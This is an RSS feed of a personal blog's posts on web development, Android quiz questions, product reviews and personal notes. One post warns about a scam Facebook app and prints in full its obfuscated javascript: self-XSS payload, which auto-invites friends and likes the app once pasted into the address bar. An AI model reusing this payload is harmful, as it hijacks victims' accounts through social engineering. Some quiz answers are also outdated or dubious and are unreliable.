Ankit Jain http://ankitjain.info/ankit » It’s all about Ankit and Web! « Fri, 07 Jun 2013 06:09:07 +0000 en-US hourly 1 http://wordpress.org/?v=3.5.1 Inline jQuery misses CSS change event in IE10 http://ankitjain.info/ankit/2013/04/16/rotate-image-using-css/ http://ankitjain.info/ankit/2013/04/16/rotate-image-using-css/#comments Mon, 15 Apr 2013 19:14:34 +0000 Ankit Jain http://ankitjain.info/ankit/?p=542 The goal is to achieve slow rotation of an image infinitely. So, the trick i thought of using two CSS classes. First class is a base css. Another defines rotation and transform delay. Here are these two:

.image_basic {
	overflow:hidden;
}
.image_rotate {
	-webkit-transform:rotate(3600deg);
	-moz-transform:rotate(3600deg); 
	-ms-transform:rotate(3000deg); 
	-o-transform:rotate(3600deg);
	transform:rotate(3600deg);

	-webkit-transition-duration: 400s;
	-moz-transition-duration: 400s;
	-ms-transition-duration: 400s;
	-o-transition-duration: 400s;
	transition-duration: 400s;

	transition-timing-function:ease-out ;
	transition-delay:0.2s;

	-webkit-transition-property: -webkit-transform;
	-moz-transition-property: -moz-transform;
	-ms-transition-property: -moz-transform;
	-o-transition-property: -o-transform;
	transition-property: transform;

	overflow:hidden;
}

It’s a transform for ten rotation over 400 seconds. This roughly gives you slow rotation indefinitely (assuming 400 seconds ~ 6 mins is enough time to stay on a webpage). You also need to switch CSS class for this rotation to take place. Following inline JavaScript/jQuery at the end of the document worked.

<img class="image_basic" src="logo-emblem-small.png"/>

<script type="text/javascript">
	   $('.image_basic').attr("class","image_rotate");
</script>

Issue: The catch here is the rotation worked seamlessly on all browsers, except IE. Googled everything, No luck! The syntax is correct, other demos for IE CSS rotation are working everywhere. Then what’s wrong here?

Playing around and debugging further, I realized, using IE’s F12 Developer Tools that a change in CSS class (manually changing CSS class in DOM) made it to work. That means the missing CSS change event is causing the issue! Encapsulated above script within document.ready and it worked.

$(function() {
	$('.image_basic').attr("class","image_rotate");
});

Conclusion: JavaScript implementation is browser specific. When the document is loading, any CSS change does not fire (CSS3) transform events in IE 10. All you need is to wait for document to load completely. May be this is one of the best practices I got enlightened today.

Happy Coding!

]]>
http://ankitjain.info/ankit/2013/04/16/rotate-image-using-css/feed/ 0
Times of India Alive App – Review http://ankitjain.info/ankit/2013/03/02/alive-app-toi-adstuck-review/ http://ankitjain.info/ankit/2013/03/02/alive-app-toi-adstuck-review/#comments Sat, 02 Mar 2013 16:53:23 +0000 Ankit Jain http://ankitjain.info/ankit/?p=513 Today I came across an interesting app, Alive app from Times Of India. A very nice concept to engage smartphone users to interactive content. But this app is from TimesMobile, not Times Internet Limited. Whatever, lets go and try it out. I quickly opened web-browser on my Android 4.1 tablet and jumped to aliveapp.in. Install. Open. And here is what I felt about it, discouraging, my all hopes are stranded. Read on to know how wrong they are in marketing, technological advances, app design, and mobile user interfaces. (It should be noted that I have not used this app on other platforms. This review is for the Android Alive app only.)

why a new app? Yes, that is the first question came to my mind. If this was planned correctly by TOI, a good marketing app focuses on bringing users at one platform. Fragmented space is not going to help anyone. From marketing prospective I would have used same TOI app for this exciting feature. This would have brought some new users to the same platform, and my existing app would have been more popular, isn’t it?

The app is pathetically designed. Have they ever read about Android development guidelines before working on it? Let me give you some of those many examples –

  • Why does the app need following permissions first place? This question is boggling me since I clicked install button. The app does not have any feature to directly call numbers, send SMS, local storage, read my location and read phone status. Do you think I am wrong, and the app needs these permissions anyhow, please enlighten me, please! The only permissions I see it needs is Full Network Access and Use camera, nothing else.
  • No usage of standard settings/context menu. On my 10 inch tablet all the image buttons are horrible starched.
  • Too many pop-ups. I cannot press back button endlessly and come out of the app.
    – Are you sure you want to save this?
    – Are you sure you want to quit?

Technologically inferior quality: If Vineet Jain thinks that TOI believes in innovating constantly and out of the box thinking, then I must say they should look back again. At first, this is a 2D bar code, not augmented reality. There are many augmented reality apps out there which work realtime with camera, and many apps have impressed me. Alive app fails here. It takes 3 to 10 seconds to figure out the image, sometimes fails to consider the image. Consider how QR codes and Microsoft-Tag works, they have some reference point within image for quick detection. For this picture when I scanned with Tablet camera it opened 9 times Dr Batra’s 20 sec ad (published in 2011) and only once it opened original video. I think some goof-up with hash value! Besides, the catalogue page just lists videos and there is no option to open/view videos.

If you are still not convinced here are some snippets from Play Store review.

“very poor performance even with the object being well lit”
“its a sheer waste of time……the app says not found even after 2 minutes of scanning even on 3g. it’s a complete crap”
“Opens advertisement while scanning. No news shows.”
“Its too ugly icon itself is super ugly!”
“Didn’t show the video that I scanned….”

Finally I uninstalled Alive app as it does not add value to me at all.

]]>
http://ankitjain.info/ankit/2013/03/02/alive-app-toi-adstuck-review/feed/ 2
Thank you, Arti ! http://ankitjain.info/ankit/2012/10/14/thank-yo/ http://ankitjain.info/ankit/2012/10/14/thank-yo/#comments Sun, 14 Oct 2012 17:37:57 +0000 Ankit Jain http://ankitjain.info/ankit/?p=484 Every day is a regular day unless some moments make them special and memorable. I had one such day , and that’s why it deserves a mention here.

A girl, I meant dream-girl ;) , came to my dreams, woke me up, tied my eyes and took me towards a special room. My expectations were on a high peak, and what I found was beyond my expectations, seriously. It was a room decorated, lit up and a cake to celebrate this special day, exactly at 12AM. Thanks Arti for making it wonderful, I never felt so special ever before on this day. You made my day.

thank-u-arti

I think we had fought more than the number of the days since our marriage (all because of my crazyness, and yeah.. some of yours too; and thanks to our settlement policy). But these are the times we will cherish and enjoy remembering them down the rest of our journey.



Ankit

 

]]>
http://ankitjain.info/ankit/2012/10/14/thank-yo/feed/ 0
Android Interview Questions http://ankitjain.info/ankit/2012/08/18/odesk-google-android-programming-test/ http://ankitjain.info/ankit/2012/08/18/odesk-google-android-programming-test/#comments Sat, 18 Aug 2012 04:22:09 +0000 Ankit Jain http://ankitjain.info/ankit/?p=441 Hi Guys,

Here are some Android test questions that I have compiled. Search for their answers by reading Android Docs. Post your answers in the comments. If you are too desperate for answers you can try .

  • Which class is used to handle the Bluetooth on Android?
  • Which package provide set of classes required to manage the Bluetooth on android sdk?
  • What is a sticky intent?
  • How to show a non-modal dialog/information on screen? OR What’s the purpose of Toasts.
  • What is a 9-patch image and how to benefit from it?
  • What is adb?

Following are some more generous objective questions for you.

1. Which of the following are true about PhoneStateIntentReceiver.notifyPhoneCallState?

a. notifyPhoneCallState has to be called if your application wishes to receive a notification about an incoming phone call.
b. notifyPhoneCallState is a call back function that is called when the call state changes.
c. notifyPhoneCallState is called to initiate a call from the device.
d. notifyPhoneCallState is used to send notifications about call states.
e. notifyPhoneCallState gets called when the device receives an incoming phone call.

Answer: notifyPhoneCallState has to be called if your application wishes to receive a notification about an incoming phone call.

2. Which of the following would you have to include in your project to use the APIs and classes required to access the camera on the mobile device?

a. import android.drivers;
b. import android.hardware.camera;
c. import android.camera;
d. import android.util;
e. import android.hardware;

Answer: import android.hardware

3. What is “Android-dx”?

a. A command line tool to create Android project files.
b. A framework to create unit tests for Android projects.
c. A resource editor to create user interface for Android applications.
d. A tool to generate Android byte code from .class files.
e. An emulator to execute and debug Android projects.

Answer: A tool to generate Android byte code from .class

4. Which of the following are true about enabling/disabling menu items from an Activity class?

a. onCreateOptionsMenu can be used to enable/disable some menu items in an Android application.
b. onPrepareOptionsMenu can be used to enable/disable some menu items in an Android application.
c. onShowOptionsMenu can be used to enable/disable some menu items in an Android application.
d. The menu items in an Android application cannot be disabled.

Answer: b. onPrepareOptionsMenu can be used to enable/disable some menu items in an Android application.

5. Consider the following snippet of code:

@Override
protected void onStop
{
Super.onStop();
SharedPreferences setting = getSharedPreferences(“MyPrefs”, 0);
SharedPreferences.Editor editor = settings.edit();
editor.putBoolean(“MyBool”, true);

{some more code here}
}

Which of the following should be used at {some more code here}?

a. editor.save();
editor.close();
b. editor.save();
editor.finish();
c. editor.commit();
d. editor.save();
e. editor.close();
f. editor.finish();

Answer: editor.commit()

6. Which of the following Integrated Development Environments can be used for developing software applications for the Android platform?

a. Android IDE
b. Eclipse
c. Visual Studio 2005
d. Visual Studio 2008

Answer: Do I need to give answer to this? Go read about Android first.

7. Consider the XML fragment below, which is taken from one of the files in an Android project:

android:layout_width = "fill_parent"
android:layout_height = "fill_parent"
android:text = "Some Text">

Which of the following are true about the XML fragment above?

a. It is taken from the manifest xml file of the Android project.
b. It is taken from an XML file used to define a view.
c. It is taken from the package file (.apk) of the Android project.
d. The xmlns: attribute is a compulsory attribute.
e. If this is not the outer most tag in the XML file then it need not contain the xmlns: attribute.
f. MyElement should be the name of a class derived, directly or indirectly, from the View class.

Answer: It is taken from an XML file used to define a view.
9. What is the purpose of the ContentProvider class?

a. To play rich media content files.
b. To create and publish rich media files.
c. To share data between Android applications.
d. To access the global information about an application environment.
e. To maintain global application state.

Answer: To share data between Android applications.

10. Which of the following are true?

a. startActivity and startActivityForResult can both be used to start a new activity from your activity class.
b. Only startActivityForResult can be used to launch a new activity from your activity class.
c. startActivity(myIntent); and startActivityForResult(myIntent, -1); have the same result.
d. startActivity(myIntent); and startActivityForResult(myIntent, 0); have the same result.
e. When startActivity is used to launch a new activity from your activity class then your activity class gets notified when the new activity is completed.
f. When startActivityForResult is used to launch a new activity from your activity class then your activity class gets notified when the new activity is completed.

Answer: (a) and (c), both

11. Which of the following is/are appropriate for saving the state of an Android application?

a. Activity.onFreeze()
b. Activity.onPause()
c. Activity.onStop()
d. Activity.onDestroy()

Answer: Activity.onPause()

12. Which of the following is NOT a life-cycle methods of an Activity that can be implemented to perform various operations during the lifetime of an Activity?

a. onCreate
b. onInit
c. onCompleteThaw
d. onRestart

Answer: onInit

13. Which of the following are true about Intent.CALL_ACTION and Intent.DIAL_ACTION?

a. Both of them are used to dial a phone number on the device.
b. Intent.action == Intent.CALL_ACTION is true when a phone call is received on the device.
c. Intent.action = Intent.CALL_ACTION is used when a phone number is to be dialled without showing a UI on the device.
d. Intent.action = Intent.DIAL_ACTION is used when a phone number is to be dialled without showing a UI on the device.
e. Intent.action = Intent.CALL_ACTION is used when a phone number is to be dialled without the user having to explicitly initiate the call.
f. Intent.action = Intent.DIAL_ACTION is used when a phone number is to be dialled without the user having to explicitly initiate the call.

Answer: (a), (c), (e). all three

14. What is “Android-activityCreator”?

a. A command line tool to create Android project files.
b. A framework to create unit tests for Android projects.
c. A resource editor to create user interface for Android applications.
d. A tool to generate Android byte code from .class files.
e. An emulator to execute and debug Android projects.

Answer: a. A command line tool to create Android project files.

15. Suppose MyView is a class derived from View and mView is a variable of type MyView. Which of the following should be used to display mView when the Android application is started?

a. Call setCurrentView(mView) in the startApp() of the main application class.
b. Call setContentView(mView) in the startApp() of the main application class.
c. Call setContentView(mView) in the onStart() of the main application class.
d. Call setContentView(mView) in the onCreate() of the main application class.

Answer: d. Call setContentView(mView) in the onCreate() of the main application class.

16. Which of the following programming languages can be used to develop software applications for the Android platform?

a. Java
b. C# with .NET Compact Framework for mobile devices.
c. C programming language.
d. C++ programming language.
e. Android programming language.

17. What is Android?

a. A new programming language that can be used to develop applications for mobile devices.
b. A new IDE that can be used to develop applications for mobile devices.
c. A software stack for mobile devices that includes an operating system, middleware and key applications.
d. A new mobile device developed by Google.

Answer: any guess?

18. Consider the code snippet below:

MediaPlayer mp = new MediaPlayer();
mp.setDataSource(PATH_TO_FILE);
(Some code here)
mp.start();

Which of the following should be placed at (Some code here)?

a. mp.prepare();
b. mp.prepareAsync();
c. mp.loadMedia();
d. mp.loadSource();
e. mp.loadSource();
mp.prepare();
f. No code is required at to start playback.

19. Which of the following can be used to navigate between screens of different Android applications?

a. Binder
b. Flow
c. Navigate
d. Intent
e. ApplicationContext

20. Which of the following should be used to save the unsaved data and release resources being used by an Android application?

a. Activity.onStop()
b. Activity.onPause()
c. Activity.onDestroy()
d. Activity.onShutdown()
e. Activity.onFreeze()

21. Which of the following can be accomplished by using the TelephoneNumberUtil class?

a. Save a phone number to the contacts in the phone device.
b. Retrieve a phone number from the contacts in the phone device.
c. Delete a phone number from the contacts in the phone device.
d. Format an international telephone number.
e. Setting and retrieving the call forwarding phone number on the phone device.

22. Suppose Screen1 is the main screen of an Android application MyAndroid. Now if another screen, Screen2 has to be opened from Screen1, then which of the following are true?

a. Screen2 has to be a part of MyAndroid.
b. Screen2 can exist in any other Android application installed on the device.
c. Screen2 will always be launched asynchronously.
d. Screen2 can be launched synchronously.
e. Screen2 can return a result code to Screen1 if launched with startActivity.
f. Screen2 can return a result code to Screen1 if launched with startSubActivity.

23. Select the two function calls that ]can be used to start a Service from your Android application?

a. bindService
b. startService
c. runService
d. startActivity

24. Consider the code snippet below:

public class MyReceiver extends PhoneStateIntentReceiver
{

@Override
public void onReceiveIntent(Context context, Intent intent)

{
if (intent.action == Intent.CALL_ACTION)
{

}
}
}

Assuming that notifyPhoneCallState has been called to enable MyReceiver to receive notifications about the phone call states, in which of the following cases will the code in get executed?

a. When the device receives an incoming phone call.
b. When an outgoing phone call is initiated on the device.
c. When the user presses the CALL button on the device.
d. The code in will never get executed.

25. Which of the following can be used to bind data from an SQL database to a ListView in an Android application?

a. SimpleCursor
b. SimpleCursorAdapter
c. SimpleAdapter
d. SQLiteCursor
e. SQLLiteAdapter

26. Which of the following fields of the Message class should be used to store custom message codes about the Message?

a. tag
b. what
c. arg1
d. arg2
e. userData

27. What is “Android-Positron”?

a. A command line tool to create Android project files.
b. A framework to create unit tests for Android projects.
c. A resource editor to create user interface for Android applications.
d. A tool to generate Android byte code from .class files.
e. An emulator to execute and debug Android projects.

28. Which of the following can you use to display a progress bar in an Android application?

a. ProgressBar
b. ProgressDialog
c. ProgressItem

Answer: ProgressBar, ProgressDialog

29. Which of the following is the immediate base class for Activity and Service classes?

a. Application
b. ApplicationContext
c. Context
d. Component
e. Object

Answer: Context

30. Which of the following can be used to handle commands from menu items in an Android application?

a. commandAction
b. onMenuItem
c. onMenuItemSelected
d. onMenuItemClicked
e. onOptionsItemSelected

Answer: onOptionsItemSelected

31. What is the ListActivity class used for?

a. Create a view to display a list of items from a data source.
b. List all the activities currently running on the Android device.
c. List all the activites that are installed on the Android device.
d. List the activities whose IntentFilters match with a particular Intent type.

32. Which of the following can you use to display an HTML web page in an Android application?

a. WebBrowser
b. BrowserView
c. WebView
d. Browser
e. HtmlView

Answer: WebView

33. Which of the following is the parent class for the main application class in an Android application that has a user interface?

a. MIDLet
b. AndroidApp
c. Activity
d. AppLet
e. Application

Answer: c. Activity

34. What is the interface Spannable used for?

a. Manipulate text that can span across multiple pages.
b. Manipulate text that can span across multiple TextView windows.
c. This is the interface for text to which markup objects can be attached and detached.
d. String parsing.

Answer: c. This is the interface for text to which markup objects can be attached and detached.

35. Which of the following are UI elements that you can use in a window in an Android application?

a. TextBox
b. TextView
c. TextField
d. TextElement
e. EditText
f. RichText

Answer: TextView, EditText

36. Which of the following are true?

a. Both startActivity and startSubActivity start an activity synchronously.
b. Both startActivity and startActivityForResults start an activity asynchronously.
c. startActivity is an asynchronous call, but startSubActivity is synchronous.
d. startActivity is a synchronous call, but startSubActivity is asynchronous.

Answer: a. Both startActivity and startSubActivity start an activity synchronously.

]]>
http://ankitjain.info/ankit/2012/08/18/odesk-google-android-programming-test/feed/ 2
Review of LG – 32LS4600 (and 42ls4600) http://ankitjain.info/ankit/2012/08/09/led-tv-review-lg-42ls4600/ http://ankitjain.info/ankit/2012/08/09/led-tv-review-lg-42ls4600/#comments Thu, 09 Aug 2012 16:20:15 +0000 Ankit Jain http://ankitjain.info/ankit/?p=427 Slim, Superb connectivity options and Full HD, do you need anything more?

One of the greatest thing about LG-32LS4600 is Edge LED. Means it’s super slim, and knocking on the surface does not bring distortion (like Samsung TVs) and acts as a protector.


Next, i would give 5 star rating for connectivity options. 2 components input, 3 HDMI and 2 USB ports. Also the placement of 1 HDMI and 1 USB in the side make it truely awesome for quick connect and you do not need to struggle between the wall and TV.


I picked this TV as we do not need Internet/Apps on TV. Other features of this TV are -

  • Full HD – 1080p/i: Most 32-inch LED TVs come with lower 1,366 x 768 resolution. The full resolution of the TV is 1920x1080p
  • The TataSky HD delivers 1080p resolution for it’s ten HD channels.

  • DLNA – It is network ready and Windows Vista/7 can share media files with the TV. I was able to successfully browse shared files on Laptop and play on this TV. However, controlling playback (play/pause/stop) directly from Media Player did not work. There is a LAN port at the back of the TV to connect to sub-network. I was able to connect to Netgear n150 router and able to connect to DLNA server.
  • DivX ready – played almost all of my video files.
  • Edge LED: This brings better control over contrast ratio. The TV is super slim.
  • 3 HDMI, 2 components, 2 USB ports: You can connect your xbox, HD set top box, and a DVD player to three HDMI ports. The USB port is 2.0
  • LG’s free installation: LG offers free installation. I called in the morning and they were at my home on the same day for installation. This free installation includes wall-mount only.

lg-32ls4600-2 lg-32ls4600

Price in India: MRP of LG 32LS4600 is Rs 46,000 (listed on LG website) however it is available in retail shops at around Rs 36,000. (At Bajaj Electronics in Punjagutta, Hyderabad I was able to get more discount.) Note: Price mentioned here is indicative only and is subjected to change on manufacturer/retailer’s will.

Rating: 4.5/5

by Ankit Jain (review on Aug 9) ]]> http://ankitjain.info/ankit/2012/08/09/led-tv-review-lg-42ls4600/feed/ 7 Singleton Toast http://ankitjain.info/ankit/2011/05/19/android-best-practice-toast/ http://ankitjain.info/ankit/2011/05/19/android-best-practice-toast/#comments Thu, 19 May 2011 12:32:07 +0000 Ankit Jain http://ankitjain.info/ankit/?p=413 On Android you may have experienced delayed toasts or overlapping toasts. This causes the toasts being displayed with irrelevant context/activity (e.g. user may have pressed backed, or previous toast is still overriding new one, or when too many toasts are displayed on screen).

Consider the code below. It defines a single function for toast, that makes use of context object of Application. The class MyApplication needs to be declared in manifest.xml. The main advantage of such design is

  • reduced footprint for activity’s context object.
  • at any moment only one toast remains on screen
  • reusing single toast object, rather than creating for each show.


public class MyApplication extends Application {

	private static Resources resources;
	private static Context context;
	
	private static Toast toast;

	/**
	 * Called when the application is starting, before any other application
	 * objects have been created. Implementations should be as quick as possible
	 * (for example using lazy initialization of state) since the time spent in
	 * this function directly impacts the performance of starting the first
	 * activity, service, or receiver in a process. If you override this method,
	 * be sure to call super.onCreate().
	 * */
	@Override
	public void onCreate() {
		super.onCreate();
		Log.i("MyApplication", "Starting app...");
		MyApplication.resources = getResources();
		MyApplication.context = getApplicationContext();
		
		MyApplication.toast = Toast.makeText(MyApplication.context, "", Toast.LENGTH_SHORT);
	}
	
	/** Returns the global resources object. */
	public static Resources getResourcesObject() {
		return MyApplication.resources;
	}

	/** Returns the global context object. */
	public static Context getContextObject() {
		return MyApplication.context;
	}

	public static void toast(String message)
	{
		MyApplication.toast(message, Toast.LENGTH_SHORT);
	}

	public static void toast(String message, int duration)
	{
		MyApplication.toast.cancel();
		MyApplication.toast.setText(message);
		MyApplication.toast.setDuration(duration);
		MyApplication.toast.show();
	}

}

]]>
http://ankitjain.info/ankit/2011/05/19/android-best-practice-toast/feed/ 0
They are following me! http://ankitjain.info/ankit/2010/06/24/ads-following-me/ http://ankitjain.info/ankit/2010/06/24/ads-following-me/#comments Thu, 24 Jun 2010 09:12:44 +0000 Ankit Jain http://ankitjain.info/ankit/?p=386

They are following me everywhere. Yes, I admit I’ve been there. But that’s not a crime!

What is more surprising than you find internet marketing ads are following you? I visited Dominio.com and NetowrkSolutions.com yesterday, and today found them following me wherever I go. On totally different content, repeatedly and on multiple sites. Here are screen-shots.

I know the only way to get rid is to clear browser cookies. I did and they went away!


[Note: Typically I use AdBlockPlus, but these days I am trying to understand how AdWords works.]

- Ankit

]]>
http://ankitjain.info/ankit/2010/06/24/ads-following-me/feed/ 1
Vector Logo for IITK http://ankitjain.info/ankit/2010/06/02/svg-logo-iit-kanpur/ http://ankitjain.info/ankit/2010/06/02/svg-logo-iit-kanpur/#comments Tue, 01 Jun 2010 19:06:11 +0000 Ankit Jain http://ankitjain.info/ankit/?p=384 Here is an SVG or Vector graphic logo for IIT Kanpur.





tool used for creation: http://vectormagic.com/online/how_it_works

Another from Wikipedia: http://en.wikipedia.org/wiki/File:IIT_Kanpur_Logo.svg

-Ankit

]]>
http://ankitjain.info/ankit/2010/06/02/svg-logo-iit-kanpur/feed/ 0
Beware: Fake Facebook App http://ankitjain.info/ankit/2010/05/08/facebook-hack-account/ http://ankitjain.info/ankit/2010/05/08/facebook-hack-account/#comments Sat, 08 May 2010 13:06:51 +0000 Ankit Jain http://ankitjain.info/ankit/?p=378 [Update 2: The following app has been removed by facebook.]
[Update 1: The app invites all your friends, and likes the app automatically. It does not hack your account or cookie. Thanks Ahmud]

A perfectly crafted FaceBook app to hack your account. Here is URL: 10 lies girls ALWAYS tell guys! funny! (Do not follow instructions unless you want your account be compromised)

The app asks you to press <ctrl> + C, <alt> + D, <ctrl> + V and <enter> to paste a JavaScript in to your browser’s address bar. I don’t know what will happen next, follow the instructions if you want your account to be compromised :( .

JavaScript it pastes:
javascript:(function(){a='app120196878004524_jop';b='app120196878004524_jode';ifc='app120196878004524_ifc';ifo='app120196878004524_ifo';mw='app120196878004524_mwrapper';eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{}))})();

The app has an hidden <textarea> with keyboard focus. When you press <ctrl> + C, its content gets selected and then you follow instructions to paste it in address bar! Never ever do that.










]]>
http://ankitjain.info/ankit/2010/05/08/facebook-hack-account/feed/ 8
Saving Money with IRCTC http://ankitjain.info/ankit/2010/04/25/indian-rail-payment-gateway-online-booking/ http://ankitjain.info/ankit/2010/04/25/indian-rail-payment-gateway-online-booking/#comments Sun, 25 Apr 2010 06:19:02 +0000 Ankit Jain http://ankitjain.info/ankit/?p=375 Booking a ticket at IRCTC means spending a few bucks extra. Well, it does not bother much as it saved my time and petrol. Here is a tip to save some money, but before that, a concern to raise!

IRCTC charges flat Rs 10 on each ticket as their service charge. But why? Cards payment industry has a painful clause that merchants has to bear any fraud. For example, if a fraudster books a ticket with stolen card and later the card owner files a chargeback, IRCTC has to pay the amount back. But the fraudster has finished enjoying travel before owner files a chargeback! So how to does they deal with this? IRCTC decided (like what other merchants do) to take this from consumers as an insurance money. And that’s how an honest poor Indian suffers!

Let’s get back to the business of this post. Apart for typical IRCTC charges, the consumer has to beer additional bank charges too. Refer the list of transaction service fees charged by various banks at IRCTC. All credit card payment gateways charge 1.65-1.8% of transaction amount, Debit cards are charged at flat Rs 10 while net-banking transactions are charged a little more (Rs 10 + Service Tax).

If you want to save a few bucks while booking small tickets (up to Rs 600) use credit cards and debit cards if they are enabled. ICICI has enabled use of Visa debit-cards at credit-card gateways. I typically select Axis PG and use ICICI debit card. As a result I pay Rs 10 + 1.65% additionally.

- ankit

]]>
http://ankitjain.info/ankit/2010/04/25/indian-rail-payment-gateway-online-booking/feed/ 2